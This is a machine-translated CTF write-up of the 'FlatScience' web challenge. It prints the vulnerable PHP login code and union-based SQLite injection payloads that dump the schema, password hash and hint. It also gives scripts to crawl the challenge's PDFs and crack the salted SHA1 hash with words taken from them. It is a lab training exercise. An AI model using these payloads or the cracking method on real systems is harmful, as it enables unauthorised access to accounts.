攻撃的および防御的な世界FlatScience

  • ここのすべての種類のこれらのポイントURLは絶えず変化します
  • dirsearchで直接スキャンする
    ここに画像の説明を挿入します-robots.txtは、最近問題を解決するためによく使用されます。1 admin.phpとlogin.phpにアクセスし、提供しました
  • ログインインターフェイスへのアクセスはログインウィンドウです。管理インターフェイスへのアクセスもログインウィンドウですが、アカウントが付与されています。
  • ログインインターフェイスを確認するのは難しいので、SQLインジェクションを試してください
    ここに画像の説明を挿入します
  • ここでは、以前に行ったSQLインジェクションとmd5暗号化の問題について考えます。
  • しかし、これはクエリコードを知る必要があります
  • F12ビューページのソースコードが見つかりましたTODO: Remove ?debug-Parameter!
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
    
    
        $user = $_POST['usr'];
        $pass = $_POST['pw'];
        $db = new SQLite3('../fancy.db');
        
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
    
    
        $row = $res->fetchArray();
    }
    else{
    
    
        echo "<br>Some Error occourred!";
    }
    if(isset($row['id'])){
    
    
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }
}
if(isset($_GET['debug']))
highlight_file('login.php');
?> 
  • 重要な2行のコード
 $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");

 setcookie('name',' '.$row['name'], time() + 60, '/');
  • したがって、照会された情報はCookieにあります。
  • ここでは、sqliteデータベースの知識ポイントを補足します
  • Sqliteにはsqlite_masterテーブルがあります(グローバルスキーマテーブルには、このデータベース内のすべてのテーブル、ビュー、インデックス、トリガーなどの定義が格納されており、ユーザーテーブルのSQL定義を見つけることができます。
  • ' union select name,sql from sqlite_master--
  • 結果
  • Set-Cookie:name = + CREATE + TABLE + Users%28id + int + primary + key%2Cname + varchar%28255%29%2Cpassword + varchar%28255%29%2Chint + varchar%28255%29%29; 有効期限=水曜日、2021年2月24日11:27:33 GMT; 最大年齢= 60; パス= /
  • 解码:CREATE TABLE Users(id int primary key、name varchar(255)、password varchar(255)、hint varchar(255)); 有効期限=水曜日、2021年2月24日11:27:33 GMT; 最大年齢= 60; パス= /
  • ID、名前、パスワード、ヒントフィールドを含むUsersテーブルを取得します
  • ' union select name,password from Users--パスワードの照会
  • 取得する3fab54a50e770d830c0416df817567662a9dc85c
  • sha1($pass."Salz!")結果になるはずです
  • ここでは、一部のWebサイトを復号化できることを喜んでお知らせします。
    ここに画像の説明を挿入します
  • 直接アクセスadmin.phpログインパスワードはThinJerboaです
  • これは予想外です
  • 期待される解決策は以下のとおりです
  • ' union select name,hint from Users--クエリのヒント
  • my fav word in my fav paper?!
  • したがって、パスワードは2日前に紙に記載されているはずであり、Pythonを練習する時間がないことを嘆き、チャンスはここにあります
  • 最初にすべてのファイルをクロールします
  • コード
import urllib.request
import requests
import re
import os
import sys

re1 = '[a-fA-F0-9]{32,32}.pdf' # 设置正则表达式匹配pdf文件
re2 = '[0-9\/]{2,2}index.html'

pdf_list = []
def get_pdf(url):
    global pdf_list
    print(url)
    req = requests.get(url).text
    # 获取该页面的所有reques Response的Unicode编码内容
    re_pdf = re.findall(re1,req)
    # 用正则表达式获取该页面中的pdf文件名称
    for index in re_pdf:
        pdf_url=url + index
        pdf_list.append(pdf_url)
    # 这道题狗在 还有很多pdf文件在其他页面 所以需要去访问其他页面再去获取该页面下的pdf
    re_html = re.findall(re2,req)
    # 依次去访问所有的1/2这些页面 每次访问并获取该页面下的pdf文件
    for j in re_html:
        new_url = url+j[0:2] # 切片 将1/index.html 只取1/
        print(new_url)
        get_pdf(new_url)
    return pdf_list

def download(i,url):
    file_name =str(i)+'.pdf'
    req = requests.get(url)
    f = open(r'C:\Users\lenovo\Desktop\python\buuctf做题脚本\XCTF-FlatScience\pdf\\'+file_name,'wb')
    f.write(req.content) # content返回的是HTTP内容的二进制形式
    f.close()
    print('Sucessful to download'+' '+file_name)


    
if __name__=='__main__':
    pdf_list = get_pdf('http://111.200.241.244:41641/')
    for i in range(len(pdf_list)):
        download(i,pdf_list[i])
  • 上記はすべてのPDFファイルをダウンロードするためのコードです
  • 効果的なプロテスト
    ここに画像の説明を挿入します
  • 次にやるべきことはこれが上司の台本です
from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib
 
def get_pdf():
	return [i for i in os.listdir("./") if i.endswith("pdf")]
 
 
def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text
 
 
def find_password():
	pdf_path = get_pdf()
	for i in pdf_path:
		print "Searching word in " + i
		pdf_text = convert_pdf_2_text(i).split(" ")
		for word in pdf_text:
			sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
			if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
				print "Find the password :" + word
				exit()
 
if __name__ == "__main__":
	find_password()
  • 操作の結果、管理者アカウントのパスワードログインにフラグが付けられます
  • 2番目のスクリプトは私の能力を超えています...

おすすめ

転載: blog.csdn.net/CyhDl666/article/details/114004545